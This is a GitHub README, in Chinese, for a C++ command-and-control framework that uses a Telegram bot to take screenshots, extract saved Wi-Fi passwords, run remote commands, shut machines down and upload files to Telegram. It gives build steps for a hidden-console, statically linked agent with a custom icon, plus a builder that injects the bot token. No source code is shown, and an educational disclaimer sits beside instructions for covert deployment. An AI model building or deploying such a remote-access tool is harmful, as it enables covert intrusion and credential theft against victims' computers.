xejiro1133/TeleC2-Framework
GitHub: xejiro1133/TeleC2-Framework
一个基于 C++ 和 Telegram Bot API 的轻量级 C2 框架,通过 Telegram 聊天实现远程命令执行与系统信息收集。
Stars: 0 | Forks: 0
# TeleC2 框架(仅限 C++)
一个轻量级的 C++ Telegram C2 框架,具有动态 overlay 配置和远程执行功能。
## ⚠️ 法律免责声明与道德使用政策
**重要提示:** 在使用、编译或分发本软件之前,请仔细阅读本声明。
* **仅供教育与研究目的:** 本项目严格仅用于教育目的、学术研究以及授权的安全评估(渗透测试)。
* **需要明确授权:** 您只能在拥有明确书面法律许可和所有权的系统、网络或设备上使用本软件。未经授权访问、侦察或控制计算机系统是非法的,违反了国际网络法律。
* **免责声明:** 作者/创建者**不承担任何责任**,也不对因直接或间接使用本软件而造成的任何滥用、损害或法律后果负责。遵守所有适用的地方、州和联邦法律是最终用户的责任。
下载、编译或使用本框架的任何部分,即表示您正式同意本免责声明。
## 预编译二进制文件(供快速使用)
如果您不想配置编译器或从源码构建,可以使用预编译的二进制文件:
1. 转到此 GitHub 仓库的 **Releases** 部分,并下载最新版本的 ZIP 文件。
2. 解压该压缩包。
3. 运行 `builder.exe`,输入您的 Telegram Bot Token 和 Chat ID,并生成最终的可执行文件。
## 功能与命令
* `/screenshot` - 捕获并发送屏幕截图
* `/systeminfo` - 获取系统规格信息
* `/wifipassword` - 提取已保存的 Wi-Fi 配置文件与密钥
* `/shutdown` - 远程关闭目标系统
* `Cmd/` - 运行远程终端命令
* `open/` - 在目标系统上打开指定的文件或应用程序
* `fupload/` / `pupload/` - 将文件或图片上传到 Telegram
## 前置条件与依赖项(用于手动构建)
要在 Windows 上从源码编译此项目,您需要以下工具和库:
1. **C++ 编译器 (MinGW-w64):**
* 安装 MinGW-w64 以便在 Windows 上编译 C++ 代码。
2. **libcurl 开发库:**
* 用于进行 HTTP 请求并与 Telegram API 交互。(可通过 WinGet 安装)
3. **nlohmann/json 头文件 (`json.hpp`):**
* 从 [nlohmann/json GitHub 仓库](https://github.com/nlohmann/json) 下载 `json.hpp` 并将其放在您的源代码文件夹中,用于 JSON 解析。
## 步骤 1:设置 Telegram Bot 和 Chat ID
1. **创建 Telegram Bot(获取 Bot Token):**
* 在 Telegram 上搜索 **`@BotFather`** 并开始聊天。
* 发送 `/newbot` 命令,并按照提示为您的 bot 命名并设置用户名。
* 复制并保存生成的 **API Token**。
2. **获取您的 Telegram Chat ID(用于授权):**
* 在 Telegram 上向 **`@userinfobot`**(或 `@RawDataBot`)发送消息。
* 从回复中复制您的 **`id`** 号码。
## 步骤 2:自定义图标设置(可选)
如果您想为 stub 可执行文件添加自定义图标:
1. 使用 [convertico.com](https://convertico.com/) 等在线转换器将图片 (`.png`) 转换为 `.ico` 格式。
2. 在您的项目文件夹中创建一个名为 **`resource.rc`** 的文件,内容如下:
MAINICON ICON "app_icon.ico"
使用 MinGW 的 windres 编译资源文件:
windres resource.rc -O coff -o resource.o
步骤 3:编译与构建
1. 使用静态链接且无控制台方式编译 Stub(Agent)
如果您通过 WinGet 安装了 cURL 并希望使用 MinGW 进行静态编译,请使用以下命令(根据您的 Windows 用户名和 cURL 版本调整路径):
g++ stub1.cpp resource.o -o stub.exe \ -I"C:/Users/YOUR_USERNAME/AppData/Local/Microsoft/WinGet/Packages/cURL.cURL_Microsoft.Winget.Source_8wekyb3d8bbwe/curl-YOUR_VERSION-win64-mingw/include" \ -L"C:/Users/YOUR_USERNAME/AppData/Local/Microsoft/WinGet/Packages/cURL.cURL_Microsoft.Winget.Source_8wekyb3d8bbwe/curl-YOUR_VERSION-win64-mingw/lib" \ -lcurl -lwininet -lgdi32 -lgdiplus -lole32 -static-libgcc -static-libstdc++ -lshfolder -mwindows
注意事项:
```
Replace YOUR_USERNAME with your actual Windows account username.
Replace YOUR_VERSION with your actual cURL folder version name (e.g., curl-8.21.0_4-win64-mingw).
The -mwindows flag hides the console/CMD window in the background.
-static-libgcc -static-libstdc++ ensures it runs cleanly on other Windows machines without missing DLL errors.
```
2. 编译并运行 Builder
编译 builder 脚本并运行它,以注入您的 token 和 Chat ID:
++ builder.cpp -o builder.exe
./builder.exe
标签:C++, Telegram Bot, 命令与控制(C2), 数据擦除, 端点可见性, 足迹分析, 远程执行